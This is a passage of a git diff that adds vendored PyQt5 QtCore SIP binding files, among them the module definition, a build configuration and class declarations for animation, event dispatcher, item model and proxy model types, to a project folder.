+ + return 0; + } + + PyTuple_SetItem(t, i, pobj); + } + + return t; +%End + +%ConvertToTypeCode + if (!sipIsErr) + return (PySequence_Check(sipPy) +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + + Py_ssize_t len = PySequence_Size(sipPy); + + if (len != 16) + { + // A negative length should only be an internal error so let the + // original exception stand. + if (len >= 0) + PyErr_Format(PyExc_TypeError, + "sequence has %zd elements but 16 elements are expected", + len); + + *sipIsErr = 1; + + return 0; + } + + quint128 *qv = new quint128; + + for (Py_ssize_t i = 0; i < 16; ++i) + { + PyObject *itm = PySequence_GetItem(sipPy, i); + + if (!itm) + { + delete qv; + *sipIsErr = 1; + + return 0; + } + + PyErr_Clear(); + unsigned long val = PyLong_AsUnsignedLongMask(itm); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "element %zd has type '%s' but 'int' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete qv; + *sipIsErr = 1; + + return 0; + } + + qv->data[i] = val; + + Py_DECREF(itm); + } + + *sipCppPtr = qv; + + return sipGetState(sipTransferObj); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/QtCore.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/QtCore.toml new file mode 100644 index 00000000..f1fccce4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/QtCore.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtCore. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/QtCoremod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/QtCoremod.sip new file mode 100644 index 00000000..0d57c77e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/QtCoremod.sip @@ -0,0 +1,230 @@ +// QtCoremod.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtCore, call_super_init=True, default_VirtualErrorHandler=PyQt5, keyword_arguments="Optional", use_limited_api=True, py_ssize_t_clean=True) + +%Timeline {Qt_5_0_0 Qt_5_0_1 Qt_5_0_2 Qt_5_1_0 Qt_5_1_1 Qt_5_2_0 Qt_5_2_1 Qt_5_3_0 Qt_5_3_1 Qt_5_3_2 Qt_5_4_0 Qt_5_4_1 Qt_5_4_2 Qt_5_5_0 Qt_5_5_1 Qt_5_6_0 Qt_5_6_1 Qt_5_6_2 Qt_5_6_3 Qt_5_6_4 Qt_5_6_5 Qt_5_6_6 Qt_5_6_7 Qt_5_6_8 Qt_5_6_9 Qt_5_7_0 Qt_5_7_1 Qt_5_8_0 Qt_5_8_1 Qt_5_9_0 Qt_5_9_1 Qt_5_9_2 Qt_5_9_3 Qt_5_9_4 Qt_5_9_5 Qt_5_9_6 Qt_5_9_7 Qt_5_9_8 Qt_5_9_9 Qt_5_10_0 Qt_5_10_1 Qt_5_11_0 Qt_5_11_1 Qt_5_11_2 Qt_5_11_3 Qt_5_12_0 Qt_5_12_1 Qt_5_12_2 Qt_5_12_3 Qt_5_12_4 Qt_5_13_0 Qt_5_14_0 Qt_5_15_0} + +%Platforms {WS_X11 WS_WIN WS_MACX} + +%Feature PyQt_Accessibility +%Feature PyQt_SessionManager +%Feature PyQt_SSL +%Feature PyQt_qreal_double +%Feature Py_v3 +%Feature PyQt_PrintDialog +%Feature PyQt_Printer +%Feature PyQt_PrintPreviewWidget +%Feature PyQt_PrintPreviewDialog +%Feature PyQt_RawFont +%Feature PyQt_OpenGL +%Feature PyQt_Desktop_OpenGL +%Feature PyQt_NotBootstrapped +%Feature PyQt_Process +%Feature PyQt_MacOSXOnly +%Feature PyQt_WebChannel +%Feature PyQt_CONSTEXPR + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%Plugin PyQt5 + +%If (Py_v3) +%DefaultEncoding "ASCII" +%End + +%If (!Py_v3) +// Hook into the VendorID package if it is enabled. +%Feature VendorID + +%If (VendorID) + +%ModuleCode +#include +%End + +%PreInitialisationCode + if (!vendorid_check()) + { + PyErr_SetString(PyExc_RuntimeError, "PyQt cannot be used with this Python interpreter"); + return; + } +%End + +%End + +%End + + +%Include(name=pyqt-internal.sip5, optional=True) +%Include(name=pyqt-gpl.sip5, optional=True) +%Include(name=pyqt-commercial.sip5, optional=True) + +%DefaultSupertype sip.simplewrapper + +%Include qglobal.sip +%Include qnamespace.sip +%Include qabstractanimation.sip +%Include qabstracteventdispatcher.sip +%Include qabstractitemmodel.sip +%Include qabstractnativeeventfilter.sip +%Include qabstractproxymodel.sip +%Include qabstractstate.sip +%Include qabstracttransition.sip +%Include qanimationgroup.sip +%Include qbasictimer.sip +%Include qbitarray.sip +%Include qbuffer.sip +%Include qbytearray.sip +%Include qbytearraymatcher.sip +%Include qcalendar.sip +%Include qcborcommon.sip +%Include qcborstream.sip +%Include qchar.sip +%Include qcollator.sip +%Include qcommandlineoption.sip +%Include qcommandlineparser.sip +%Include qconcatenatetablesproxymodel.sip +%Include qcoreapplication.sip +%Include qcoreevent.sip +%Include qcryptographichash.sip +%Include qdatastream.sip +%Include qdatetime.sip +%Include qdeadlinetimer.sip +%Include qdir.sip +%Include qdiriterator.sip +%Include qeasingcurve.sip +%Include qelapsedtimer.sip +%Include qeventloop.sip +%Include qeventtransition.sip +%Include qfile.sip +%Include qfiledevice.sip +%Include qfileinfo.sip +%Include qfileselector.sip +%Include qfilesystemwatcher.sip +%Include qfinalstate.sip +%Include qhistorystate.sip +%Include qidentityproxymodel.sip +%Include qiodevice.sip +%Include qitemselectionmodel.sip +%Include qjsondocument.sip +%Include qjsonvalue.sip +%Include qlibrary.sip +%Include qlibraryinfo.sip +%Include qline.sip +%Include qlocale.sip +%Include qlockfile.sip +%Include qlogging.sip +%Include qloggingcategory.sip +%Include qmargins.sip +%Include qmessageauthenticationcode.sip +%Include qmetaobject.sip +%Include qmetatype.sip +%Include qmimedata.sip +%Include qmimedatabase.sip +%Include qmimetype.sip +%Include qmutex.sip +%Include qnumeric.sip +%Include qobject.sip +%Include qobjectcleanuphandler.sip +%Include qobjectdefs.sip +%Include qoperatingsystemversion.sip +%Include qparallelanimationgroup.sip +%Include qpauseanimation.sip +%Include qpropertyanimation.sip +%Include qpluginloader.sip +%Include qpoint.sip +%Include qprocess.sip +%Include qrandom.sip +%Include qreadwritelock.sip +%Include qrect.sip +%Include qregexp.sip +%Include qregularexpression.sip +%Include qresource.sip +%Include qrunnable.sip +%Include qsavefile.sip +%Include qsemaphore.sip +%Include qsequentialanimationgroup.sip +%Include qsettings.sip +%Include qsharedmemory.sip +%Include qsignalmapper.sip +%Include qsignaltransition.sip +%Include qsize.sip +%Include qsocketnotifier.sip +%Include qsortfilterproxymodel.sip +%Include qstandardpaths.sip +%Include qstate.sip +%Include qstatemachine.sip +%Include qstorageinfo.sip +%Include qstring.sip +%Include qstringlistmodel.sip +%Include qsystemsemaphore.sip +%Include qtemporarydir.sip +%Include qtemporaryfile.sip +%Include qtextboundaryfinder.sip +%Include qtextcodec.sip +%Include qtextstream.sip +%Include qthread.sip +%Include qthreadpool.sip +%Include qtimeline.sip +%Include qtimer.sip +%Include qtimezone.sip +%Include qtranslator.sip +%Include qtransposeproxymodel.sip +%Include qurl.sip +%Include qurlquery.sip +%Include quuid.sip +%Include qvariant.sip +%Include qvariantanimation.sip +%Include qversionnumber.sip +%Include qwaitcondition.sip +%Include qxmlstream.sip +%Include qjsonarray.sip +%Include qjsonobject.sip +%Include qpycore_qhash.sip +%Include qpycore_qlist.sip +%Include qpycore_qmap.sip +%Include qpycore_qpair.sip +%Include qpycore_qset.sip +%Include qpycore_qvariantmap.sip +%Include qpycore_qvector.sip +%Include qpycore_virtual_error_handler.sip +%Include qstringlist.sip +%Include qsysinfo.sip +%Include qwineventnotifier.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstractanimation.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstractanimation.sip new file mode 100644 index 00000000..ec43dafc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstractanimation.sip @@ -0,0 +1,82 @@ +// qabstractanimation.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractAnimation : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Direction + { + Forward, + Backward, + }; + + enum State + { + Stopped, + Paused, + Running, + }; + + enum DeletionPolicy + { + KeepWhenStopped, + DeleteWhenStopped, + }; + + QAbstractAnimation(QObject *parent /TransferThis/ = 0); + virtual ~QAbstractAnimation(); + QAbstractAnimation::State state() const; + QAnimationGroup *group() const; + QAbstractAnimation::Direction direction() const; + void setDirection(QAbstractAnimation::Direction direction); + int currentTime() const; + int currentLoopTime() const; + int loopCount() const; + void setLoopCount(int loopCount); + int currentLoop() const; + virtual int duration() const = 0; + int totalDuration() const; + +signals: + void finished(); + void stateChanged(QAbstractAnimation::State newState, QAbstractAnimation::State oldState); + void currentLoopChanged(int currentLoop); + void directionChanged(QAbstractAnimation::Direction); + +public slots: + void start(QAbstractAnimation::DeletionPolicy policy = QAbstractAnimation::KeepWhenStopped); + void pause(); + void resume(); + void setPaused(bool); + void stop(); + void setCurrentTime(int msecs); + +protected: + virtual bool event(QEvent *event); + virtual void updateCurrentTime(int currentTime) = 0; + virtual void updateState(QAbstractAnimation::State newState, QAbstractAnimation::State oldState); + virtual void updateDirection(QAbstractAnimation::Direction direction); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstracteventdispatcher.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstracteventdispatcher.sip new file mode 100644 index 00000000..3a683656 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstracteventdispatcher.sip @@ -0,0 +1,73 @@ +// qabstracteventdispatcher.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractEventDispatcher : QObject +{ +%TypeHeaderCode +#include +%End + +public: + struct TimerInfo + { +%TypeHeaderCode +#include +%End + + int timerId; + int interval; + Qt::TimerType timerType; + TimerInfo(int id, int i, Qt::TimerType t); + }; + + explicit QAbstractEventDispatcher(QObject *parent /TransferThis/ = 0); + virtual ~QAbstractEventDispatcher(); + static QAbstractEventDispatcher *instance(QThread *thread = 0); + virtual bool processEvents(QEventLoop::ProcessEventsFlags flags) = 0 /ReleaseGIL/; + virtual bool hasPendingEvents() = 0; + virtual void registerSocketNotifier(QSocketNotifier *notifier) = 0; + virtual void unregisterSocketNotifier(QSocketNotifier *notifier) = 0; + int registerTimer(int interval, Qt::TimerType timerType /Constrained/, QObject *object); + virtual void registerTimer(int timerId, int interval, Qt::TimerType timerType, QObject *object) = 0; + virtual bool unregisterTimer(int timerId) = 0; + virtual bool unregisterTimers(QObject *object) = 0; + virtual QList registeredTimers(QObject *object) const = 0; + virtual void wakeUp() = 0; + virtual void interrupt() = 0; + virtual void flush() = 0; + virtual void startingUp(); + virtual void closingDown(); + virtual int remainingTime(int timerId) = 0; + void installNativeEventFilter(QAbstractNativeEventFilter *filterObj); + void removeNativeEventFilter(QAbstractNativeEventFilter *filterObj); +%If (WS_WIN) + virtual bool registerEventNotifier(QWinEventNotifier *notifier) = 0; +%End +%If (WS_WIN) + virtual void unregisterEventNotifier(QWinEventNotifier *notifier) = 0; +%End + bool filterNativeEvent(const QByteArray &eventType, void *message, long *result); + +signals: + void aboutToBlock(); + void awake(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstractitemmodel.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstractitemmodel.sip new file mode 100644 index 00000000..3f58c518 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstractitemmodel.sip @@ -0,0 +1,332 @@ +// qabstractitemmodel.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QModelIndex +{ +%TypeHeaderCode +#include +%End + +public: + QModelIndex(); + QModelIndex child(int arow, int acolumn) const; + int row() const; + int column() const; + QVariant data(int role = Qt::ItemDataRole::DisplayRole) const; + Qt::ItemFlags flags() const; + SIP_PYOBJECT internalPointer() const; +%MethodCode + sipRes = reinterpret_cast(sipCpp->internalPointer()); + + if (!sipRes) + sipRes = Py_None; + + Py_INCREF(sipRes); +%End + + SIP_PYOBJECT internalId() const /TypeHint="int"/; +%MethodCode + // Python needs to treat the result as an unsigned value (which may not happen + // on 64 bit systems). Instead we get the real value as it is stored (as a + // void *) and let Python convert that. + sipRes = PyLong_FromVoidPtr(sipCpp->internalPointer()); +%End + + const QAbstractItemModel *model() const; + bool isValid() const; + QModelIndex parent() const; + QModelIndex sibling(int arow, int acolumn) const; +%If (Qt_5_11_0 -) + QModelIndex siblingAtColumn(int column) const; +%End +%If (Qt_5_11_0 -) + QModelIndex siblingAtRow(int row) const; +%End + bool operator==(const QModelIndex &other) const; + bool operator<(const QModelIndex &other) const; + bool operator!=(const QModelIndex &other) const; + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End +}; + +class QPersistentModelIndex +{ +%TypeHeaderCode +#include +%End + +public: + QPersistentModelIndex(); + QPersistentModelIndex(const QModelIndex &index); + QPersistentModelIndex(const QPersistentModelIndex &other); + ~QPersistentModelIndex(); + int row() const; + int column() const; + QVariant data(int role = Qt::ItemDataRole::DisplayRole) const; + Qt::ItemFlags flags() const; + QModelIndex parent() const; + QModelIndex sibling(int row, int column) const; + QModelIndex child(int row, int column) const; + const QAbstractItemModel *model() const; + bool isValid() const; + void swap(QPersistentModelIndex &other /Constrained/); + operator const QModelIndex &() const; + bool operator<(const QPersistentModelIndex &other) const; + bool operator==(const QPersistentModelIndex &other) const; + bool operator==(const QModelIndex &other) const; + bool operator!=(const QPersistentModelIndex &other) const; + bool operator!=(const QModelIndex &other) const; + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End +}; + +typedef QList QModelIndexList; + +class QAbstractItemModel : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum LayoutChangeHint + { + NoLayoutChangeHint, + VerticalSortHint, + HorizontalSortHint, + }; + + explicit QAbstractItemModel(QObject *parent /TransferThis/ = 0); + virtual ~QAbstractItemModel(); + bool hasIndex(int row, int column, const QModelIndex &parent = QModelIndex()) const; + virtual QModelIndex index(int row, int column, const QModelIndex &parent = QModelIndex()) const = 0; + virtual QModelIndex parent(const QModelIndex &child) const = 0; + QObject *parent() const; + virtual QModelIndex sibling(int row, int column, const QModelIndex &idx) const; + virtual int rowCount(const QModelIndex &parent = QModelIndex()) const = 0; + virtual int columnCount(const QModelIndex &parent = QModelIndex()) const = 0; + virtual bool hasChildren(const QModelIndex &parent = QModelIndex()) const; + virtual QVariant data(const QModelIndex &index, int role = Qt::ItemDataRole::DisplayRole) const = 0; + virtual bool setData(const QModelIndex &index, const QVariant &value, int role = Qt::ItemDataRole::EditRole); + virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::ItemDataRole::DisplayRole) const; + virtual bool setHeaderData(int section, Qt::Orientation orientation, const QVariant &value, int role = Qt::ItemDataRole::EditRole); + virtual QMap itemData(const QModelIndex &index) const; + virtual bool setItemData(const QModelIndex &index, const QMap &roles); + virtual QStringList mimeTypes() const; + virtual QMimeData *mimeData(const QModelIndexList &indexes) const /TransferBack/; + virtual bool dropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent); + virtual Qt::DropActions supportedDropActions() const; + virtual bool insertRows(int row, int count, const QModelIndex &parent = QModelIndex()); + virtual bool insertColumns(int column, int count, const QModelIndex &parent = QModelIndex()); + virtual bool removeRows(int row, int count, const QModelIndex &parent = QModelIndex()); + virtual bool removeColumns(int column, int count, const QModelIndex &parent = QModelIndex()); + virtual void fetchMore(const QModelIndex &parent); + virtual bool canFetchMore(const QModelIndex &parent) const; + virtual Qt::ItemFlags flags(const QModelIndex &index) const; + virtual void sort(int column, Qt::SortOrder order = Qt::AscendingOrder); + virtual QModelIndex buddy(const QModelIndex &index) const; + virtual QModelIndexList match(const QModelIndex &start, int role, const QVariant &value, int hits = 1, Qt::MatchFlags flags = Qt::MatchStartsWith|Qt::MatchWrap) const; + virtual QSize span(const QModelIndex &index) const; + +signals: + void dataChanged(const QModelIndex &topLeft, const QModelIndex &bottomRight, const QVector &roles = QVector()); + void headerDataChanged(Qt::Orientation orientation, int first, int last); + void layoutAboutToBeChanged(const QList &parents = QList(), QAbstractItemModel::LayoutChangeHint hint = QAbstractItemModel::NoLayoutChangeHint); + void layoutChanged(const QList &parents = QList(), QAbstractItemModel::LayoutChangeHint hint = QAbstractItemModel::NoLayoutChangeHint); + void rowsAboutToBeInserted(const QModelIndex &parent, int first, int last); + void rowsInserted(const QModelIndex &parent, int first, int last); + void rowsAboutToBeRemoved(const QModelIndex &parent, int first, int last); + void rowsRemoved(const QModelIndex &parent, int first, int last); + void columnsAboutToBeInserted(const QModelIndex &parent, int first, int last); + void columnsInserted(const QModelIndex &parent, int first, int last); + void columnsAboutToBeRemoved(const QModelIndex &parent, int first, int last); + void columnsRemoved(const QModelIndex &parent, int first, int last); + void modelAboutToBeReset(); + void modelReset(); + +public slots: + virtual bool submit(); + virtual void revert(); + +protected: + void encodeData(const QModelIndexList &indexes, QDataStream &stream) const; + bool decodeData(int row, int column, const QModelIndex &parent, QDataStream &stream); + void beginInsertRows(const QModelIndex &parent, int first, int last); + void endInsertRows(); + void beginRemoveRows(const QModelIndex &parent, int first, int last); + void endRemoveRows(); + void beginInsertColumns(const QModelIndex &parent, int first, int last); + void endInsertColumns(); + void beginRemoveColumns(const QModelIndex &parent, int first, int last); + void endRemoveColumns(); + QModelIndexList persistentIndexList() const; + void changePersistentIndex(const QModelIndex &from, const QModelIndex &to); + void changePersistentIndexList(const QModelIndexList &from, const QModelIndexList &to); + +public: + bool insertRow(int row, const QModelIndex &parent = QModelIndex()); + bool insertColumn(int column, const QModelIndex &parent = QModelIndex()); + bool removeRow(int row, const QModelIndex &parent = QModelIndex()); + bool removeColumn(int column, const QModelIndex &parent = QModelIndex()); + virtual Qt::DropActions supportedDragActions() const; + virtual QHash roleNames() const; + +protected: + QModelIndex createIndex(int row, int column, SIP_PYOBJECT object = 0) const [QModelIndex (int row, int column, void *object = 0)]; +%MethodCode + // The Qt API is broken (and won't be fixed as it would break binary + // compatibility) regarding the internal id of a model index on different + // architectures (32 vs 64 bits). We choose to work around the breakage as it + // is fairly subtle and continues to catch people out. Instead of letting Qt + // convert betweed an integer id and a pointer id (the internal format used by + // Qt) we let Python do it. + + void *ptr; + + if (a2) + { + // Try and convert it to a Python long and fallback to the object's + // address if it fails. + ptr = PyLong_AsVoidPtr(a2); + + if (PyErr_Occurred()) + { + PyErr_Clear(); + ptr = a2; + } + } + else + { + ptr = 0; + } + + #if defined(SIP_PROTECTED_IS_PUBLIC) + sipRes = new QModelIndex(sipCpp->createIndex(a0, a1, ptr)); + #else + sipRes = new QModelIndex(sipCpp->sipProtect_createIndex(a0, a1, ptr)); + #endif +%End + +signals: + void rowsAboutToBeMoved(const QModelIndex &sourceParent, int sourceStart, int sourceEnd, const QModelIndex &destinationParent, int destinationRow); + void rowsMoved(const QModelIndex &parent, int start, int end, const QModelIndex &destination, int row); + void columnsAboutToBeMoved(const QModelIndex &sourceParent, int sourceStart, int sourceEnd, const QModelIndex &destinationParent, int destinationColumn); + void columnsMoved(const QModelIndex &parent, int start, int end, const QModelIndex &destination, int column); + +protected: + bool beginMoveRows(const QModelIndex &sourceParent, int sourceFirst, int sourceLast, const QModelIndex &destinationParent, int destinationRow); + void endMoveRows(); + bool beginMoveColumns(const QModelIndex &sourceParent, int sourceFirst, int sourceLast, const QModelIndex &destinationParent, int destinationColumn); + void endMoveColumns(); + void beginResetModel() /ReleaseGIL/; + void endResetModel() /ReleaseGIL/; + +protected slots: +%If (Qt_5_1_0 -) + void resetInternalData(); +%End + +public: + virtual bool canDropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent) const; + virtual bool moveRows(const QModelIndex &sourceParent, int sourceRow, int count, const QModelIndex &destinationParent, int destinationChild); + virtual bool moveColumns(const QModelIndex &sourceParent, int sourceColumn, int count, const QModelIndex &destinationParent, int destinationChild); + bool moveRow(const QModelIndex &sourceParent, int sourceRow, const QModelIndex &destinationParent, int destinationChild); + bool moveColumn(const QModelIndex &sourceParent, int sourceColumn, const QModelIndex &destinationParent, int destinationChild); +%If (Qt_5_11_0 -) + + enum class CheckIndexOption + { + NoOption, + IndexIsValid, + DoNotUseParent, + ParentIsInvalid, + }; + +%End +%If (Qt_5_11_0 -) + typedef QFlags CheckIndexOptions; +%End +%If (Qt_5_11_0 -) + bool checkIndex(const QModelIndex &index, QAbstractItemModel::CheckIndexOptions options = QAbstractItemModel::CheckIndexOption::NoOption) const; +%End +}; + +class QAbstractTableModel : QAbstractItemModel +{ +%TypeHeaderCode +#include +%End + +public: + explicit QAbstractTableModel(QObject *parent /TransferThis/ = 0); + virtual ~QAbstractTableModel(); + virtual QModelIndex index(int row, int column, const QModelIndex &parent = QModelIndex()) const; + virtual bool dropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent); +%If (Qt_5_1_0 -) + virtual Qt::ItemFlags flags(const QModelIndex &index) const; +%End +%If (Qt_5_2_0 -) + QObject *parent() const; +%End +%If (Qt_5_5_0 -) + virtual QModelIndex sibling(int row, int column, const QModelIndex &idx) const; +%End + +private: + virtual QModelIndex parent(const QModelIndex &child) const; + virtual bool hasChildren(const QModelIndex &parent) const; +}; + +class QAbstractListModel : QAbstractItemModel +{ +%TypeHeaderCode +#include +%End + +public: + explicit QAbstractListModel(QObject *parent /TransferThis/ = 0); + virtual ~QAbstractListModel(); + virtual QModelIndex index(int row, int column = 0, const QModelIndex &parent = QModelIndex()) const; + virtual bool dropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent); +%If (Qt_5_1_0 -) + virtual Qt::ItemFlags flags(const QModelIndex &index) const; +%End +%If (Qt_5_2_0 -) + QObject *parent() const; +%End +%If (Qt_5_5_0 -) + virtual QModelIndex sibling(int row, int column, const QModelIndex &idx) const; +%End + +private: + virtual QModelIndex parent(const QModelIndex &child) const; + virtual int columnCount(const QModelIndex &parent) const; + virtual bool hasChildren(const QModelIndex &parent) const; +}; + +%If (Qt_5_11_0 -) +QFlags operator|(QAbstractItemModel::CheckIndexOption f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstractnativeeventfilter.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstractnativeeventfilter.sip new file mode 100644 index 00000000..ba12744f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstractnativeeventfilter.sip @@ -0,0 +1,36 @@ +// qabstractnativeeventfilter.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractNativeEventFilter +{ +%TypeHeaderCode +#include +%End + +public: + QAbstractNativeEventFilter(); + virtual ~QAbstractNativeEventFilter(); + virtual bool nativeEventFilter(const QByteArray &eventType, void *message, long *result) = 0; + +private: + QAbstractNativeEventFilter(const QAbstractNativeEventFilter &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstractproxymodel.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstractproxymodel.sip new file mode 100644 index 00000000..9267ce80 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstractproxymodel.sip @@ -0,0 +1,81 @@ +// qabstractproxymodel.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractProxyModel : QAbstractItemModel +{ +%TypeHeaderCode +#include +%End + +public: + explicit QAbstractProxyModel(QObject *parent /TransferThis/ = 0); + virtual ~QAbstractProxyModel(); + virtual void setSourceModel(QAbstractItemModel *sourceModel /KeepReference/); + QAbstractItemModel *sourceModel() const; + virtual QModelIndex mapToSource(const QModelIndex &proxyIndex) const = 0; + virtual QModelIndex mapFromSource(const QModelIndex &sourceIndex) const = 0; + virtual QItemSelection mapSelectionToSource(const QItemSelection &selection) const; + virtual QItemSelection mapSelectionFromSource(const QItemSelection &selection) const; + virtual bool submit(); + virtual void revert(); + virtual QVariant data(const QModelIndex &proxyIndex, int role = Qt::DisplayRole) const; + virtual bool setData(const QModelIndex &index, const QVariant &value, int role = Qt::EditRole); +%If (Qt_5_5_0 -) + virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::DisplayRole) const; +%End +%If (- Qt_5_5_0) + virtual QVariant headerData(int section, Qt::Orientation orientation, int role) const; +%End + virtual bool setHeaderData(int section, Qt::Orientation orientation, const QVariant &value, int role = Qt::EditRole); + virtual QMap itemData(const QModelIndex &index) const; + virtual Qt::ItemFlags flags(const QModelIndex &index) const; + virtual bool setItemData(const QModelIndex &index, const QMap &roles); + virtual QModelIndex buddy(const QModelIndex &index) const; + virtual bool canFetchMore(const QModelIndex &parent) const; + virtual void fetchMore(const QModelIndex &parent); + virtual void sort(int column, Qt::SortOrder order = Qt::AscendingOrder); + virtual QSize span(const QModelIndex 